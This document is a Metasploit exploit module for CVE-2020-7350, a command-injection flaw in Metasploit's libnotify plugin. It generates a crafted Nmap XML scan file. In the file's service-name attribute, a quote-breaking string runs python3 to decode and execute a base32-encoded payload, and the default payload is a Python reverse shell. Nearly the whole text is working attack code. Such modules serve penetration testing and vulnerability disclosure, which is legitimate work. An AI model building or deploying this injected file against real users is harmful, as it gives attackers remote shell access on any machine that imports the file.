Metasploit Libnotify Arbitrary Command Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Metasploit Libnotify Plugin Arbitrary Command Execution',  
'Description' => %q(  
This module exploits a shell command injection vulnerability in the  
libnotify plugin. This vulnerability affects Metasploit versions  
5.0.79 and earlier.  
),  
'DisclosureDate' => 'Mar 04 2020',  
'License' => GPL_LICENSE,  
'Author' =>  
[  
'pasta <[email protected]>' # Discovery and PoC  
],  
'References' =>  
[  
[ 'CVE', '2020-7350' ],  
[ 'URL', 'https://github.com/rapid7/metasploit-framework/issues/13026' ]  
],  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Payload' =>  
{  
'DisableNops' => true  
},  
'DefaultOptions' =>  
{  
'PAYLOAD' => 'cmd/unix/reverse_python'  
},  
'Targets' => [[ 'Automatic', {}]],  
'Privileged' => false,  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [false, 'The file to write.', 'scan.xml']),  
]  
)  
end  
  
def exploit  
xml = %(<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE nmaprun>  
<nmaprun scanner="nmap" args="nmap -P0 -oA pepito 192.168.20.121" start="1583503480" startstr="Fri Mar 6 11:04:40 2020" version="7.60" xmloutputversion="1.04">  
<host starttime="1583503480" endtime="1583503480"><status state="up" reason="user-set" reason_ttl="0"/>  
<address addr="192.168.20.121" addrtype="ipv4"/>  
<hostnames>  
</hostnames>  
<ports>  
<port protocol="tcp" portid="22"><state state="open" reason="syn-ack" reason_ttl="0"/><service name="ssh';python3 -c "import os,base64;os.system(base64.b32decode(b'#{Rex::Text.encode_base32(payload.encoded)}'.upper()))"&; printf '" method="table" conf="3"/></port>  
</ports>  
<times srtt="6174" rttvar="435" to="100000"/>  
</host>  
<runstats><finished time="1583503480" timestr="Fri Mar 6 11:04:40 2020" elapsed="0.22" summary="Nmap done at Fri Mar 6 11:04:40 2020; 1 IP address (1 host up) scanned in 0.22 seconds" exit="success"/><hosts up="1" down="0" total="1"/>  
</runstats>  
</nmaprun>  
)  
  
print_status "Writing xml file: #{datastore['FILENAME']}"  
file_create xml  
end  
end  
`